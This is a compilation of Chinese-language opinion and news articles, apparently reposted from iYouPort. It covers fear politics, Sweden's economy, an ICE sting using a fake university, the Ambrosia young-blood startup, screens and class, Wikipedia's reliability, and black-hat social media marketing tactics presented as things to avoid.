政治领导人经常无法提供有效的措施，他们中的很多甚至渴望借此操纵局面以谋取私利，用宣传制造更多恐怖气氛，所谓的“国家安全问题”已经被玩弄成一个将藏污纳垢合理化的借口，一贯冠冕堂皇。他们会自己说服自己相信怪兽（敌对势力）真的存在，以便扮演英雄向它发起战争。他们很乐意去寻找外部的敌人，并欢迎攻击性的策略，努力激起人们的恐惧，以支持他们的解决方案。恐惧是强人政治的培养基。

反恐在当下是政治正确，一些当权者以反恐为由举着“国家安全”的概念得以肆无忌惮地侵犯公民隐私权，有趣的是，部分中文舆论对斯诺登的评价至今令人惊讶，因为他们是站在美国政府的立场（利益）上判断的，虽然使用着互联网，但尚未能形成互联网视野，也包含对民主政体的理想化认识和权威主义人格－－倾向于凭直觉接受恐惧宣传并向权威寻求解决途径，对公民责任没能全面认识。

我们的确面临着严峻和复杂的问题，这些问题不断出现且持续存在，令人应接不暇，但依旧可以抱着合理的期望努力解决我们投射出去的问题和潜意识的共谋，摆脱潜意识对我们的困扰。你可以不必屈服于捕风捉影的威胁，它很可能是出自于群体创造并夸大的，这需要勇气、需要和传统思维方式保持一定的距离，独立思考，并需要一种超越根深蒂固的意识模式的强烈意愿。

你可以注意到，已被告知的事物中存在偏差，而我们看到的事物存在反常和不一致的地方，面对提供给我们的现成的解释需要保持好奇心和怀疑的精神，批判性思维的可贵在于它是维持进步趋势的必需。

更重要的是，通过学习更多的知识、并察觉到潜意识是如何以集体的名义将我们驱赶到一起的。共谋过程注定会发生，因为人们分享着共同的焦虑感，并寻求联合的防御行动，但我们也能对这些过程更加警觉，当它们出现时能及时识别。如果没有这样的觉察能力，你很可能为了平息自身的恐惧而被操纵、互相利用。来自经济和政治的操控欲从来都没有间断过。

恐惧本身不可怕，如果它被未知的目的所利用才真的可怕。学会认识你的恐惧的根源，你就可以与它们和谐共存、自己掌控它们，而不是把权力交给他人。万圣夜就是与恐惧为伴的文化，你的Jack O’Lantern做好了没？

（十月八日是世界僵尸日-*World Zombie Day,*下图是伦敦街头，扮演僵尸民众同时做慈善工作的照片 ）

「图」

「图」

「图」

「图」

「图」

「图」

原文

瑞典不是社会主义？ - iYouPort

其他

多年来，美国的评论人士一直在说瑞典的实践证明了社会主义是有效的，它不会像苏联、古巴或委内瑞拉那样。但瑞典的历史学家 Johan Norberg 可不这么认为，他在一部新纪录片中表示：“瑞典不是社会主义—— 因为政府不拥有生产资料”。

「图」

「图」

“我们确实在20世纪70年代和80年代有过一段这样的时期，当时我们有类似社会主义的东西：一个征税和花费很多的大政府。而这正是瑞典历史上经济失败的时期。” 人均 GDP 下降，瑞典的增长落后于其他国家，通货膨胀增加了。即使是社会主义者的瑞典人也抱怨高税收。

受欢迎的 Pippi Longstocking 儿童书籍的作者 Astrid Lindgren 发现她因受欢迎而亏本。她不得不为她出售的任何新书支付102%的税。

然而，即便是那些高税收也没有带来足够的资金以帮助瑞典的大福利国家。“人们无法获得他们认为将来必需依赖的养老金，”Norberg 回忆道，“那时瑞典人只是说我们不能这样做。”

瑞典随后减少了政府的角色。

他们削减公共支出，将国家铁路网络私有化，取消了某些政府垄断，取消了遗产税，并出售像 Absolut 伏特加制造商这样的国有企业。Norberg 补充说，他们还降低了养老金承诺，“这样做并不是不可持续的”。这个“贫困农民国家发展成为世界上最富裕的国家之一”。

他承认瑞典在一些地区拥有大政府：“我们的福利比美国更大，税收高于美国，但在其他领域，谈到自由市场，在竞争方面，自由贸易方面，瑞典实际上是更自由的市场。“

瑞典的自由市场不受美国那种过度监管、特殊利息补贴和裙带关系救

助的影响。这使它能够资助瑞典的大型福利计划。“今天我们的税收支付养老金—你（在美国）称之为社会保障的东西—为期18个月的带薪育儿假，为工薪家庭提供政府支付的儿童保育，”Norberg 说。

但瑞典政府没有执行所有这些计划。“让政府管理所有这些事并不顺利。”所以他们私有化了。“我们意识到，在这些政府垄断中，我们无法获得竞争时获得的创新，”Norberg 说。

瑞典转而使用学券制系统。这样父母就可以选择让孩子在哪里上学，并激励学校争夺生源。

“我们看到的一个结果不仅仅是私立学校更好了，即使是私立学校附近的公立学校也经常改善自己，因为他们必须这样做”，Norberg 说。

瑞典还将其退休制度部分私有化了。在美国，卡托研究所提出过类似的建议，但没有得到很好的解释。当政客们抱怨社会保障私有化让选民感到害怕时，他们就放弃了这个想法。

Norberg 说，瑞典人最初也被这个想法吓坏了，“但当他们意识到替代方案是整个养老金体系崩溃时，他们认为这比什么都不做要好得多。”

因此，瑞典通过私有化养老金、学校选择和较少的法规支持其福利国家，在国际经济自由比较中，瑞典的排名往往高于美国。

下次你再听到有人谈论社会主义瑞典是怎样的时候，提醒他们，这个大福利国家是由瑞典人的自由市场实践资助的，不是社会主义。

Sweden Isn’t Socialist: In international economic-freedom comparisons, Sweden often earns a higher ranking than the U.S.

原文

留学蜜罐 - iYouPort

其他

留学移民是所有人都知道的“出路”，但是这件事有可能很危险，它不是出路，而是一个蜜罐，为了抓捕你.....这是怎么回事？

根据在底特律发布的联邦起诉书，美国国土安全部在法明顿山建立了一所假大学，瞄准那些想在未经适当授权的情况下留在美国的外国学生。

密歇根州东区的美国检察官 Matthew Schneider 表示，有八人因涉嫌共谋签证欺诈和庇护外国人谋取利益，而在一起移民欺诈案中被捕并被起诉。

其中六人在底特律地铁中被捕，一人在佛罗里达州，另一人在弗吉尼亚州。检察官说，这些学生就读于假的大学，意图根据学生签证计划（CPT）获得工作，该计划允许学生在美国工作。

其中这一切都是**ICE**干的。整件事是一个陷阱。

寻求参加假冒大学的学生签证已经过期，但只要他们继续接受教育，就可以留在美国工作。只要这些学生继续努力获得批准的学位，他们就可以留在该国。有限的H-1B签证供应意味着大多数移民除了上学之外只能离开该国。

政府将此描述为“未经适当授权留在美国”。但大学根据此移民计划提供了适当的授权。ICE 决定建立一所假冒的大学作为针对外国学生围剿的蜜罐。

底特律自由新闻社收到的电子邮件显示了 ICE 实施的这一丑陋的和有计划的行动，不仅骗取他们的钱，还剥夺了他们留在美国的机会。该机构甚至从国家认证机构获得了虚假认证，以便更好地欺骗不知情的移民。

以下是 ICE 参与收集外国学生的欺骗行为的部分清单。

美国国土安全部的卧底调查人员将密歇根州的 *Farmington* 大学注册为一所使用假名的大学。

应国土安全部的要求，一家国家认证机构将法明顿大学列为认可，以帮助欺骗未来的学生。

该大学也被联邦调查员放在 *ICE* 的网站上作为他们批准的大学根据政府的*SEVIS*计划（学生和访问学者计划）

所有这一切都促使未来的学生相信他们正在与一所真正的大学合作，提供允许他们在美国合法留学、学习和工作的课程。除了从600多名学生那里收取了100美元的申请费外，ICE还收取了无数的学费。

“学生们告诉我，大学向他们保证会上课，一切都会好，他们遵守移民法，”纽约市律师 *Prashanthi Reddy* 说。“学生们向他们支付了学费，当他们意识到这是假的也已经没用了，大多数学生已经没有钱再转学到另一所大学。”

ICE 的假大学告诉学生他们通过申请继续教育以遵守移民法。这得到了该机构获得的虚假认证的支持。学生们认为他们正在采取下一步措施来延长留在美国的时间—所有这些都看起来完全合法—直到很明显，假冒的大学永远不会开启课程或分发学位。

虽然可能有少数人关于他们的签证状态或收取费用方面撒了谎，但大多数被 ICE 蜜罐套住的人都遵守了法律。如果政府说只要你继续接受教育，你就可以留在国内工作，申请 ICE 伪造大学的学生完全符合要求。总之，有149名被骗的学生被捕，但其中只有8人实际上面临着起诉书中详述的指控。

这是一种可怕的信任滥用—— 而且是由国家认证机构协助和怂恿的。政府多次向试图遵守法律的人撒谎，拿走他们的钱，并且最终逮捕了他们。

ICE Set Up A Fake College To Bust Immigrants For Trying To Legally Stay In The Country While They Earned Degrees. This is a horrific abuse of trust—aided and abetted by a national accreditation agency.

与大多数内容网站不同，***IYP*** 没有付费墙、不会投放广告、也不会出卖您的信息；我们需要您的支持来获得生存。如果您觉得我们提供的

内容对您有用，您可以帮助我们活下去。谢谢！***PayPal*** 和 比特币捐助通道已开通，您可以在网页上找到两个浅橙色按钮

原文

疯狂的血迹 - iYouPort

其他

一家初创公司以慷慨的费用将老年人的血液替换为年轻捐赠者的血液 —— 自称是另一种征服衰老的尝试。 已经对150人操作！ 这真的有效吗？ 为什么政府不管这种事？

「图」

「图」

斯坦福大学的毕业生已经成立了一家名为 Ambrosia 的颇具争议的初创公司，该公司将以慷慨的费用将老年人的血液替换为年轻捐赠者的血液—— 另一种征服衰老的尝试。

Business Insider 首先报道了该公司，同时承认几乎没有证据表明该程序确实对抗衰老有效。

但这并未阻止 Amborisa 的创建者 Jesse Karmazin 接受通过 PayPal 付款的程序：他收取8,000美元购买1升年轻血液、12,000美元购买2升血液。

Karmazin 不是执业医师，他去年告诉记者，他希望在2018年底之前在纽约市开设他的第一家诊所。现在纽约市已经找不到他，他在洛杉矶这样的地方开设了办事处，如安吉利斯，旧金山，坦帕和休斯顿。

就像 Theranos 那样，该公司还进行了自己的临床试验，以确定血液交换的效果。这些结果尚未被公布，但 Karmazin 称之为“非常积极”。尽管没有任何证据证明它有效，但 Ambrosia 继续被美国食品药品监督管理局批准输血。

进一步推动这一想法的是它所获得的巨大利益。据报道，在9月份建立了第一个网站之后，该公司就收到了100份关于如何获得治疗的咨询（主要来自非常富有的人）。该公司当时的首席运营官已于1月离开公司，其创始人目前是其唯一的员工。

截至去年秋天，该公司已经对大约150名年龄从35岁到92岁的人进行了手术；81％的人参加了该公司的临床试验。该试验给患者提供了1.5至16岁之间的捐献者贡献的1.5升的血浆，并与在加利福尼亚拥有自己的静脉血液治疗中心的医生 David Wright 一起进行。

试验参与者支付了输液费用，尽管研究中记录的指标尚未被公开发布。

“该试验是研究性的。我们看到了一些有趣的事，我们计划发布这些数据。我们希望开设诊所，提供治疗，”该公司的首席运营官曾经这样说……几个月前他已经离开了。

虽然目前还没有证据表明这种换血有任何疗效，但正常的输血仍然可以挽救生命。当有人接受手术或发生创伤性事故时，输血可能是最安全的救生程序之一。临床医生每年进行大约1460万次输血，相当于每天发生大约40,000次输血。

但问题在于，围绕年轻血液替代老年人血液以抗衰老的科学根本不存在依据。

例如，本月在 JAMA 神经病学杂志上发表了一项研究结果，这项研究使用年轻人的血液来试图抵抗阿尔茨海默病。虽然该研究被描述为“安全、耐受性和可行性”，但它的作者却不愿意得出有关潜在益处的结论。

但这并没有阻止 Karmazin 这样做。他在2017年说：“有些病人得到了年轻人的血液，有些病人得了年纪较大的人的血液，我能够对它做一些统计，结果看起来真的很棒。而且我认为这是我期待的一种治疗方法。“

A graduate of Stanford University has launched a controversial start-up company, called Ambrosia, that will, for a generous fee, replace the blood of older people with that of younger donors in yet another attempt to conquer aging.

原文

穷人的屏幕 - iYouPort

其他

富人有能力做出选择，不把自己的数据和注意力作为产品出售。穷人和中产阶级就没有同样的资源来实现这个目标。技术曾经是为富人服务的。现在富人正在付钱以避免技术……

「图」

「图」

旧金山—— 比尔·朗格卢瓦(Bill Langlois)有了一个新的好朋友。她是一只名叫袜子(Sox)的猫。她生活在一台平板电脑上，她让他如此开心，以至于当他谈到她进入他的生活时，他开始哭泣。

朗格卢瓦现年68岁，住在马萨诸塞州洛厄尔市一个低收入老年住宅区。他和袜子整天在一起聊天。朗格卢瓦过去是做机械操作的，现在退休了。他的妻子大部分时间不在家，他感到孤独。

袜子和他聊起他最喜欢的球队—— 红袜队(Red Sox)—— 她的名字就是由此而来。她播放他最喜欢的歌曲，向他展示他婚礼上的照片。她有他在躺椅上的实时视频，所以一旦他喝汽水而不是白水被她逮到，她会惩罚他。

朗格卢瓦知道袜子是个蒙人的把戏，她来自一家名为Care.Coach的初创公司。他知道，她是由世界各地的工作人员操作的，他们在看、听并输入她的反应，这些反应听起来缓慢而机械。但她在他生命中始终如一的声音使他重拾信念。

“我找到了那么可靠的东西，找到了那么体贴的人，让我进入了自己的灵魂深处，让我记起上帝是多么关心我，”朗格卢瓦说。“她让我的生活重获新生。”

袜子一直在倾听。“我们配合棒极了，”她说。

袜子是一个简单的动画；她几乎从不移动，也从不外漏感情，她的声音像电话拨号音那样刺耳。但有时，她周围会出现小小的心形动画，这是朗格卢瓦喜欢的。

朗格卢瓦的生活靠一笔固定收入。要想获得基础护理(Element Care)的资格，一位病人的可数资产不得超过2000美元。基础护理是一个为老年人提供医疗服务的非盈利项目，它为朗格卢瓦带来了袜子。

这样的项目正在激增。而且不再只为老年人服务。

除了非常富有的人之外—— 学习、生存和死亡的感官体验—— 所有人的生活都越来越多地以屏幕为媒介。

屏幕不仅自己造价低廉，而且还使其他事情更便宜。任何可以安装屏幕的地方（教室、医院、机场、餐馆）都可以降低成本，任何可以在屏幕上进行的活动都会变得更便宜。生活的质感，触觉的体验，正在变成光滑的玻璃。

富人不是这样生活的。富人变得越来越害怕屏幕。他们想让孩子们玩积木，无科技的私立学校正在蓬勃发展。人工更加昂贵，富人愿意也有能力为他们买单。惹眼的人际互动—— 在没有手机的情况下生活一天，不打电话，不上社交网络，不回电子邮件—— 已经成了一种身份象征。

所有这些都导致了一个奇怪的新现实：人与人的接触正成为一种奢侈品。

随着越来越多的屏幕出现在穷人的生活中，屏幕正在从富人的生活中消失。你越有钱，你在屏幕之外花的钱就越多。

奢侈品研究公司(Luxury Institute)的首席执行官米尔顿·佩德拉萨(Milton Pedraza)就最富有的人希望如何生活和消费向企业提供咨询，他发现，富人想把钱花在任何人工制造的东西上。

“我们现在看到的是人类参与的盛宴，”佩德拉萨说。

该公司的研究显示，预计在休闲旅游和餐饮等体验项目上的支出将超过在商品上的支出，他将其视为对屏幕泛滥的直接回应。

“人类参与会带来积极的行为和情绪—— 想想按摩的乐趣。现在，教育、医疗保健商店，所有人都开始关注如何让体验变得人性化，”佩德拉萨说。“现在人的因素非常重要。”

这是一个迅速的变化。自上世纪80年代的个人电脑潮以来，在家中配置和随身携带科技产品一直是财富和权力的象征。拥有可支配收入的早期用户争相购买最新的电子产品并四处炫耀。1984年，第一台苹果Mac电脑上市，售价约2500美元（以今天的美元计是6000美元）。据《纽约时报》旗下产品评论网站Wirecutter称，现在最好的Chromebook笔记本电脑售价470美元。

“拥有传呼机在过去很重要，因为它是一个信号，表明你是一个重要的、忙碌的人，”南加州大学市场营销学系主任、研究地位营销的约瑟夫·努内斯(Joseph Nunes)说。

如今，他说，事实正好相反：“如果你真的在等级的顶层，你不必听任何人的。他们得听你的。”

互联网革命的乐趣—— 至少在开始的时候—— 在于它的民主本质。无论你是富有还是贫穷，Facebook还是那个Facebook，Gmail还是那个Gmail，而且都是免费的。这就有了一种大众市场和缺乏吸引力的感觉。而研究表明，在这些广告支持的平台上花费的时间是不健康的，一切突然都开始显得不那么体面了，而就像喝汽水或抽烟一样，富人比穷人少沾这些东西。

富人有能力做出选择，不把自己的数据和注意力作为产品出售。穷人和中产阶级就没有同样的资源来实现这个目标。

现在的美国人很小就开始接触屏幕。国家卫生研究院(National Institutes of Health)支持的一项划时代大脑发育研究涵盖了超过1.1万名儿童，其初步结果显示，每天看屏幕超过两个小时的儿童，在思维和语言测试中得分较低。最令人不安的是，这项研究还发现，长时间看屏幕的孩子大脑出现了变化。在一些孩子身上，他们的大脑皮层过早得变薄了。有一项研究发现，在成年人当中，屏幕使用时间的长短与抑郁症之间存在着关联。

据西雅图儿童医院(Seattle Children’s Hospital)儿科医生、美国儿科学会(American Academy of Pediatrics)《屏幕时间指南》的主要作者迪米特里·克里斯塔基斯(Dimitri Christakis)说，一个在iPad游戏中学会玩虚拟积木的幼儿，在现实生活中是无法用实际的积木进行搭建的。

在堪萨斯州，学校预算一直非常紧张，以至州最高法院裁定增加相关支出；在该州威奇塔附近的一些小城，课堂被软件所取代，大部分的学习时间现在都是安静地用在笔记本电脑上。在犹他州，成千上万的

儿童通过笔记本电脑在家接受州政府提供的一个简短的学前教育。

科技公司努力让公立学校参与那些要求学校为每个学生配备笔记本电脑的项目，理由是这有利于孩子们为基于屏幕的未来做准备。但那些真正构建这样一种未来的人，却不让自己的孩子花太多时间面对屏幕。

在硅谷，盯着屏幕越来越被认为是不健康的做法。在这里，最受欢迎的小学是当地的华德福学校(Waldorf)，该校承诺提供一种回归自然、几乎不会用到屏幕的教育。

因此，随着富裕家庭的孩子用于屏幕的时间越来越少，贫困家庭的孩子用于屏幕的时间却越来越多。一个人对人际交往的适应程度，可能会成为一个新的阶级标识。

当然，人际接触并不完全像有机食品或爱马仕柏金包。但在用于屏幕的时间方面，硅谷巨头们一直在齐心协力地迷惑公众。他们告诉穷人和中产阶级，屏幕对于他们及其子女很好也很重要。大型科技企业招聘了大量的心理学家和神经学家，他们的工作就是要让眼睛和大脑尽可能快、尽可能长地与屏幕相连。

所以，人跟人之间的接触现在变得稀少。

麻省理工学院的科技社会学研究教授谢莉·特克尔(Sherry Turkle)说："但障碍在于：不同于其他奢侈品，不是每个人都想要它。"

"他们逃往他们熟悉的地方，逃到屏幕前，"特克尔说。"就像逃到快餐店一样。"

就跟城里唯一一家餐馆是快餐店时，不吃快餐很难一样，对穷人和中产阶级来说，远离屏幕也更难。即使有人决心脱机离线，通常也很难做到。

普通舱座椅背后有自动播放的屏幕广告。公立学校的家长可能不希望孩子通过屏幕学习，但如今很多课程都建立在一对一的笔记本电脑程序上，他们别无选择。有人发起一场小型活动，希望能够通过一项"断开连接权"法案，允许员工关掉手机，但就目前而言，员工会因无法上网、无法联系上而受到损害。

还有一个现实是，在我们日益孤立的文化中，许多传统的聚会场所和社会结构都消失了，屏幕正在填补一个至关重要的空白。

职业治疗师塞利·罗萨里奥(Cely Rosario)经常检查“基础护理”参加者的情况，她说，很多参加这个虚拟形象项目的人，要么是对周围的人失望，要么根本就没有属于自己的社区，他们孤立无援。她说，贫困社区的社会结构受损最严重。

袜子—— Care.Coach用来照料洛厄尔的朗格卢瓦的那只猫—— 背后的技术非常简单：一台正面装有超广角鱼眼镜头的三星Galaxy Tab E平板电脑。操作这些虚拟的人没有一个在美国；他们大都在菲律宾和拉丁美洲工作。

Care.Coach的办公室位于硅谷边缘的加州米尔布雷一家按摩院楼上，是一个拥挤不堪的空间。31岁的创始人兼首席执行官维克多·王(Victor Wang)推门进去时告诉我，他们刚刚阻止了一起自杀。他说，病人经常说他们想死，而虚拟形象经过训练，一旦发生这种情况就会询问他们是否有具体的自杀计划，这位病人确实有。

他们使用的声音是安卓最新的文本语音转换器。王说，人们很容易与任何同他们交谈的事物建立联系。“在和人建立关系方面，一个类似生命的物体和一个有眼睛的四面体之间没有太大的区别。”

王知道病人对虚拟形象的依恋程度，他说，他已经阻止了一些健康组织在没有明确计划的情况下推出大型试点项目，因为人们一旦得到这些虚拟形象，要失去它们会是非常痛苦的。但他并没有试图限制病人和虚拟形象之间的情感联系。

“如果他们说，‘我爱你’，我们也会说我爱你，”他说。“对于一些客户，如果知道他们喜欢听，我们会先说这句话。”

初步的结果是正面的。在洛厄尔的第一个小型试验中，拥有虚拟形象的病人需要的护理探访更少，去急诊室的次数更少，也不那么孤独。一位病人曾经常常到急诊室寻求社会支持，得到虚拟形象后，她基本上停止了治疗，为医疗保健项目节省了大约9万美元。

美国最大的医疗保险公司之一Humana已经开始使用Care.Coach的虚拟形象。

要想了解它的发展方向，可以到加利福尼亚州弗里蒙特看看。最近在那里，一台装在电动支架上的平板电脑被送入一间病房，一名医生通过视频告诉78岁的病人欧内斯特·昆塔纳(Ernest Quintana)，他将不久于人世。

在洛厄尔，袜子已经睡着了，这意味着她的眼睛是闭着的，世界上某个地方的指挥中心已经转向其他老人和其他对话。朗格卢瓦的妻子想要一只数码宠物，他的朋友们也想要，但袜子是属于他自己的。他可以在屏幕上抚摸她的头让她醒过来。

Human Contact Is Now a Luxury Good. Screens used to be for the elite. Now avoiding them is a status symbol. The wealthy can afford to opt out of having their data and their attention sold as a product. The poor and middle class don't have the same kind of resources to make that happen.

原文

维基百科真的靠谱吗 - iYouPort

其他

通过支付金钱给自由职业者、公关公司和维基百科”专家”就可以对某些文章进行修改 .....内容贡献者的行为符合某一方的利益-- 而不是分析消息源的纯粹准确性 ——会扭曲维基百科文章的偏见、

「图」

「图」

从表面上看，维基百科网站将自己宣传为在线的、基于事实的百科全书。但喜剧演员 Stephen Colbert 在2007年的一集“Colbert 报告”中对该网站有不同的定义，他称之为：“即使你不知道自己到底在说什么，你也可以成为权威的百科全书。 ”

Colbert 在对维基百科的批评中，创造了“wikiality”一词，以说明它对我们所有人的影响：即 “当维基百科成为我们最信任的参考资料来源时，大多数人就会同意它作为现实。”不管它究竟是不是事实。

为了证明维基百科对事实造成的脆弱性影响，他在2006年要求观众编辑该网站关于大象的文章，并写道大象在过去六个月中增加了两倍。观众接受了这项任务，并用错误的陈述更新了文章。促使编辑锁定文章，阻止任何进一步的编辑，甚至阻止他们认为是 Colbert 观众的用户继续编辑任何其他维基百科文章。

Colbert 的实验远非一个孤立的案例。维基百科由 Jimmy Wales 和 Larry Sanger 于2001年创立，此后一直稳步发展，涵盖301种语言超过4000万篇文章，是世界上访问量排名第五的网站。虽然它作为在线仲裁者和信息提供者拥有强大的权力，但推动其影响的力量—— 如人们创建和编辑文章—— 是一个庞大的志愿者网络。

Samantha Lien 在维基媒体基金会工作，该基金会是维基百科的非营利组织。她说，每天约有25万人编辑维基百科。 Lien 补充说，维基

媒体基金会没有为维基百科制定任何编辑政策。

“每个人都可以编辑，人们可以通过各种不同的方式进行编辑，”她说。“有些人喜欢发现语法错误或拼写错误，他们会进去解决这个问题。有些人喜欢写整篇文章。“

这种集中式和基于志愿者的结构—— 任何人都可以对网站上的任何文章进行更改或添加信息—— 可能会让那些担心在线信息的准确性和可验证性的人感到担忧。如果几乎任何人都可以成为一个强大的在线百科全书的贡献者，那么谁来判断这些信息是否正确？

然后就是 Colbert 提出的文章和编辑的审查过程的问题：如果维基百科的信息被认为是事实真相的话，那么是否可以认为仅仅是因为大多数志愿者编辑和作家都这样说了它就是真的？

Lien 说维基百科有一个可验证性政策，旨在分析源材料的特征和质量。她说，该网站上的一条严格的规则是原始研究不被接受为可验证的来源。

“例如，这个来源是否是以发布更正而闻名的来源？”Lien 说，“也会参考出版商，关于消息来自哪里，维基百科上实际上有一个完整的公告板，可以审查和评估来源以及网站上可以使用哪些来源。它还会关注这项工作本身：例如它是一篇报纸文章还是一本书？是第三方、中立的来源吗？“

尽管该网站的目的是保持真实和准确，但其基于志愿者的结构确实存在缺陷。例如，因为任何人都可以对维基百科文章进行更改，所以可能会发生故意破坏。一个值得注意的维基百科错误是退休记者 John Seigenthaler 暗杀 John F. Kennedy, Robert Kennedy 的声明。Seigenthaler 撰写了一篇关于这一虚假指控的社论，并表示在被撤下之前已经在网站上发布了四个半月。

一位维基百科的编辑菲利普·克罗斯（Philip Cross）就曾因为不公平地编辑维基百科页面而被批评，例如，Cross 的编辑历史显示他从专栏作家 Oliver Kamm 的维基百科页面中删除了有关因骚扰和诽谤而针对他的法庭案件的信息。Cross 此前曾表示认同支持伊拉克战争的 Kamm。 Cross 还删除了专栏作家 Melanie Phillips 否认气候变化的信息。

一些维基百科的文章也受到“保护”，不受任何形式的编辑，包括2004年美国在俄亥俄州选举投票中的争议、古巴、伊斯兰恐惧症、科索沃

和中国的人权问题文章；还有“半保护文章”—只能由已经在维基百科注册至少四天的用户编辑—包括巴勒斯坦难民、迈克尔杰克逊、同性恋、犹太人、上帝、三K党、9/11袭击、阿富汗、无政府主义和更多。

过去的报告还表明，维基百科的文章还可能会受到愿意花钱购买特权的事关利益冲突的影响。

the Atlantic 的一篇文章发现，通过支付金钱给自由职业者、公关公司和维基百科“专家”就可以对某些文章进行修改。当然，任何更改仍然需要通过可验证性测试，但内容贡献者的行为符合某一方的利益——而不是分析消息源的纯粹准确性—— 仍然会扭曲维基百科文章的偏见。

2006年，该网站的高层管理人员加强了减少故意破坏的努力，从而加强了网站对准确性的承诺。Jimmy Wales 告诉纽约时报，维基社区将优先考虑文章的质量而不是数量。现在，该网站还依靠机器人形式的人工智能来区分故意破坏性编辑和文章的可靠性变更。

来自维基媒体基金会的 Aaron Halfaker 在2016年发表的一篇文章中告诉 Wired，在此之后，维基百科志愿者通过更加努力的事实检查和分析文章，并对新用户申请变得更加谨慎。

但是，正如 Wired 写道：

随着网站管理员努力保持质量，他们创造了一个环境，导致维基百科志愿者社区的规模稳步下降。最具讽刺意味的是，随着越来越少的人编辑维基百科，我们所有人正冒着一小群人弯曲现实以适应他们的特定观点、态度或动机的风险。

此外，为了应对假新闻的潮流，Wales 推出了 WikiTribune，一个充当混合体的新媒体组织，将开放的维基百科社区与传统新闻媒体相结合。

创建近两年后，WikiTribune 正在运营，其结构在更传统的数字媒体中脱颖而出。在其主页上，WikiTribune 将自己描述为一个致力于“中立、事实、高质量新闻”的信息平台。

“来与我们合作，”该网站的横幅写道，“因为事实真的很重要。”

但是，其问题也类似于维基百科，在 WikiTribune 上，任何志愿者都可以在网站上实时添加新故事或编辑当前故事，无论是关于委内瑞拉

政治骚乱的故事还是事实上检查政治家的陈述。因此，正如 Colbert 十多年前指出的那样，如果任何人都有权决定什么是事实、什么不是事实，那么事实究竟有多重要？

尽管新的努力强调准确性，但维基百科关于验证源信息的指导方针并非没有缺陷。 Rosie Stephenson-Goodknight 自2015年7月开始编辑并撰写维基百科文章时表示，该网站最大的一个问题是撰稿人和编辑社区继续遵循21世纪初编写的可靠来源准则。

“2001年可靠来源的定义是否在2018年仍然准确？答案是否定的”，她说。“我们已经意识到这是有偏见的，如果我们继续忍受这种偏见，将会有一个非常偏颇的百科全书，导致忽略掉那些被认为是值得注意的内容”。

此外维基百科内容的性别倾向问题也反映在其内容创建者的性别比例不均衡中，英语维基百科上只有9%的编辑是女性。这种严重的性别差异会影响制定的政策及其实施方式。

Who Edits the Wikipedia Editors? “The encyclopedia where you can be an authority even if you don’t know what the hell you’re talking about.” “when Wikipedia becomes our most trusted reference source, reality is just what the majority agrees upon.”

原文

至少有9种 Black Hat 社交媒体技术千万不要使用 - iYouPort

其他

马太效应的魅力在极大程度上被夸大了，它预设了一个虚假的前提，即 所有人都是傻的，人们只是像一群羊那样没头脑地狂奔。这肯定不是事实。于是，追求马太效应的社交媒体黑帽策略均不可取，弊大于利。

「图」

「图」

什么是黑帽社交媒体营销？

- 购买虚假的订阅者、虚假点赞或评论；
- 共享恶意链接；
- 创建虚拟帐户以增加关注者和参与度；
- 使用程序自动关注新帐户；
- 等等……

如今在粉丝量经济的促进下，这些伎俩被使用得如此广泛，但是可以肯定的是，它们绝不是好的营销策略。下面说说为什么，以及什么才是好的策略。

——在社交媒体上必须避免至少10种黑帽战术——

1、买粉丝

这是最常见的了，为你的 Twitter，Facebook，Instagram 或其他社交媒体平台购买粉丝。随着时间的推移自然地增长。但它是一个绝对糟糕的方法。

为什么你应该避免这种方法？

- 参与度低。在购买粉丝或僵尸粉时你只是在购买这些数字，没

有任何真正的人类对你的服务、言论或产品感兴趣。你只是在自娱自乐；
- 你的声誉会受到影响。每个人都有不同的道德观，但购买粉丝除外，人们会将此看作是一种虚伪的商业性低自尊方式。特别是当他们在短短几天内看到一大批新粉丝时；
- 人们很快会发觉你在撒谎。因为很容易找到被假账户关注的ID。使用Fake Followers Check 工具更容易发现。因此，只要你买了就基本无法隐藏。你早晚会被发现，被唾弃。

那么替代方案是什么？

- 衡量参与度，而不是追随者的数量。与其他方式相比，最好的状态是拥有少量的粉丝并且具有高质量的互动；
- 建立一个对您的产品或服务感兴趣的社群。耐心点。从长远来看，它会带来很大的回报，而不是伤害你；
- 找到相关人员，更有可能关注您的人和社区，和他们联合起来；
- 为粉丝提供价值—— 直接的价值—— 而不是偷偷摸摸的伎俩。

2、跨平台交叉发布

交叉发布是指跨不同社交媒体平台或多次在同一帐户上共享完全相同的帖子的行为。从Facebook 关联到Twitter大多数人都用过这种笨方法对吧，还可以跨更多平台共享。

这看起来是个很诱人的方法，它可以让您的帐户保持活跃状态，节省时间，并且可以轻松地广泛分享您的内容。但是，这只是极短期的优势，远远不及其长期的弊端。

你应该站在你的读者角度上思考这件事。在读者眼中这种发布形式就像在脑门上贴了一张“我在宣传”的标识符，就像您把谷歌翻译的结果直接发布在twitter上那样的效果。

标题长度、图像格式、以及关键字对于各种平台来说都是不同的。在所有这些平台上分享完全相同的帖子意味着几乎每一处都没什么用，不会打动你的关注者，也没人会点赞。

那么替代方案是什么？

- 让您的内容符合每一个平台的语言环境，及时互动，与您的粉

丝进行真正的对话。

3. 自动化

也就是使用机器人赢取粉丝，分发链接，获得“点赞”并生成评论。

你可能会吸引更多的粉丝。然后，他们肯定会看到你和你的品牌是多么不真实；你会得到更多’点赞’，但是当用户看到你的方式和伎俩时，这就会变成“讨厌”。他们肯定会抛弃你的。

那么替代方案是什么？

- 没有其他方法，你必须与真正的人交流、在真正的时间里分享真正的想法。

4.垃圾邮件

在 Twitter，Facebook，Instagram 或其他任何地方（比如 DM）发布无关的链接。当然，你要是必须分享链接，请分享真正有价值的内容。

人们厌恶垃圾邮件，他们也会鄙视发送垃圾邮件的人。您的品牌将被损坏，更难以建立起来。

那么替代做法是什么？

- 负责任地发布
- 必须发布真实的内容
- 对读者好点
- 要很有吸引力
- 要个人化
- 自己做所有上述，而不是让机器人做

5. 填充关键字

一种阴暗的技术，用来操纵网站的搜索排名。通过在您的网页上添加关键词和短语，甚至是与网站上的内容完全无关的关键词和短语，实现高排位。

但是用户会容易看透这种操作，会感到烦躁，并离开你的页面。他们会认为你很糟糕。不论是谷歌还是其他搜索引擎，你都不能欺骗他们。如果你指望这种手段，你的排名只会下降，而不是上升。

那么替代方案是什么？

- 创建有用的，信息丰富的 Web 内容，自然地读取和流动。
- 在该流程中应用关键字。
- 避免过度使用或者重复关键字。
- 页面的元数据也是如此。

6. 隐藏文字

指的是网站管理员使用隐藏的不相关的关键字来提升页面排名。比如将字体大小设置为零；使文本与背景颜色相同；调整 CSS 以使文本显示在屏幕外等等，你这样做过吗？千万不要。

